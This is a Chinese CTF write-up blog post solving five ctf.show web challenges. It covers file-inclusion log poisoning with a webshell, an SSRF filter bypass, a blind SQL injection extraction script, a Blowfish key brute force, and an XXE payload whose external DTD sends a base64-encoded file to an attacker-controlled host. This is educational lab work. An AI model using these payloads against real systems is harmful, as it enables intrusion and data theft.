WEB_AK赛-ctf.show平台

19 篇文章 1 订阅

本篇内容
签到_观己
web1_观字
web2_观星
web3_观图
web4_观心

上一篇 | 目录 | 下一篇

签到_观己

访问得到源码:

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
        die('error');
    }else{
        include($file);
    }

}else{
    highlight_file(__FILE__);
}

?>

GET传入一个file参数,只要不含有php就会被包含。
尝试?file=/etc/passwd成功:
在这里插入图片描述
方法一
猜测了一下flag可能是根目录下的文件,尝试文件名为/flag、/flag.txt,发现/flag.txt成功:
在这里插入图片描述
方法二
Wappalyzer插件发现是nginx服务器,尝试包含一下日志文件/var/log/nginx/access.log成功:
在这里插入图片描述
那就写一句话进去,由于直接写在file参数里会被编码掉不能使用,所以写在User-Agent里。
在这里插入图片描述
蚁剑连接成功:
在这里插入图片描述
在根目录下找到flag.txt
在这里插入图片描述





web1_观字

访问给源码:

<?php

#flag in http://192.168.7.68/flag
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
        die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
        die('仅限域名地址访问');
    }
    system('curl '.$url);
}

GET传入一个url参数,url的前7位必须是http://,之后的内容不能出现preg_match匹配的内容。
flag在http://192.168.7.68/flag
点号(.)被过滤,尝试将IP转换成10进制或16进制数:
在这里插入图片描述
可惜把0也给过滤了,不能用。
而url可以利用【unicode字符集】Enclosed alphanumerics绕过。例如①②⑦。⓪。⓪。①相当于127.0.0.1
所以点号(.)可以用句号(。)代替。
在这里插入图片描述





web2_观星
在这里插入图片描述
这文章列表跟我之前做过的题一样,肯定是sql注入攻击了,只是注入方式不同了而已。
?id=1?id=2?id=3分别是不同的文章,这是可利用的一点。
尝试后发现提示enheng?就表明被过滤了,而且过滤了很多东西,FUZZ一下:
在这里插入图片描述
上图框中的都是被过滤的,单引号(')、等号(=)、逗号(,)等被过滤了就很难受。
可以使用case()when()then()else()end来代替。

?id=case(1)when(1)then(1)else(2)end
?id=case(1)when(2)then(1)else(2)end

直接上脚本:

import requests
import urllib.parse

url='http://e1b775ed-d00a-4333-9677-6f0b59bba38d.chall.ctf.show/index.php'
res = ""

for i in range(1,50):
	print(i,end='\t')
	for j in range(32,127):
		#1、爆库
		#payload = '?id=case(ord(substr((database())from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))
		#2、爆表名。等号(=)被过滤,用regexp来代替
		#payload = '?id=case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))
		#3、爆列名。单引号(')被过滤,用16进制编码
		#payload = '?id=case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))
		#4、爆flag
		payload = '?id=case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(1)else(2)end'.format(str(i),str(j))
		t = requests.get(url+payload)
		if 'If' in t.text:
			res += chr(j)
	print(res)
#database() = web1
#table_name = flag,page,user
#column_name = FLAG_COLUMN,flag

在这里插入图片描述





web3_观图

访问后直接查看源代码:
在这里插入图片描述

访问后还是图片,删掉?image=Z6Ilu83MIDw=得到php源码:

<?php
//$key = substr(md5('ctfshow'.rand()),3,8);
//flag in config.php
include('config.php');
if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
        header('content-type:image/gif');
        echo file_get_contents($str);
    }
}else{
    highlight_file(__FILE__);
}
?>

而百度后发现rand()能产生的最大值是32768,数不大,那么就可以解密Z6Ilu83MIDw=,php脚本如下:

<?php
for ($i=0; $i <= 32768; $i++) { 
	$key = substr(md5('ctfshow'.$i),3,8);
	$image="Z6Ilu83MIDw=";
	$str = openssl_decrypt($image, 'bf-ecb', $key);
	if($str!=''){
		echo $str;echo "<br>";
	}
}
?>

在这里插入图片描述
发现只有一个正常,有理由相信Z6Ilu83MIDw=解密后就是1.jpg,那么也就能得到rand值了:

<?php
for ($i=0; $i <= 32768; $i++) { 
	$key = substr(md5('ctfshow'.$i),3,8);
	$image="Z6Ilu83MIDw=";
	$str = openssl_decrypt($image, 'bf-ecb', $key);
	if($str=='1.jpg')
		echo $i;
}
?>

得到27347,即rand值为27347,图片是1.jpg
那就可以查看config.php了:

<?php
	$key = substr(md5('ctfshow27347'),3,8);
	$image="config.php";
	$str = openssl_encrypt($image, 'bf-ecb', $key);
	echo $str;
?>

得到N6bf8Bd8jm0SpmTZGl0isw==,访问后查看源代码得到flag。
在这里插入图片描述





web4_观心

查看网页源代码:
在这里插入图片描述
查看js/common.js
在这里插入图片描述

也可以点击占卜,在Network处可看到一个api.php
在这里插入图片描述
访问一下:
在这里插入图片描述

\u6765\u81ea\u5efa\u5fb7\u5e02\u7684\u9053\u53cb,\u4f60\u90a3\u91cc\u73b0\u5728\u662f\u9634\u8f6c\u591a\u4e91 \u98ce\u5411\u4e3a\u4e1c\u98ce4-5\u7ea7\u8f6c\u5fae\u98ce
解密内容为:
来自建德市的道友,你那里现在是阴转多云 风向为东风4-5级转微风

肯定是修改xml内容,构造XXE漏洞,可惜不太会搞,问了羽师傅才会做。

在公网VPS里写一个air.xml,内容为:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://IP地址/air_xxe.dtd">

再写一个air_xxe.dtd,内容为:

<!ENTITY % file SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://IP地址/?%file;'>"> %all;

然后访问即可得到flag。

http://3898d261-7b15-4087-b35e-652fbba532a7.chall.ctf.show/api.php
POST数据:api=http://IP地址/city.xml&city=air

在这里插入图片描述





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/107706627
========================================================

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值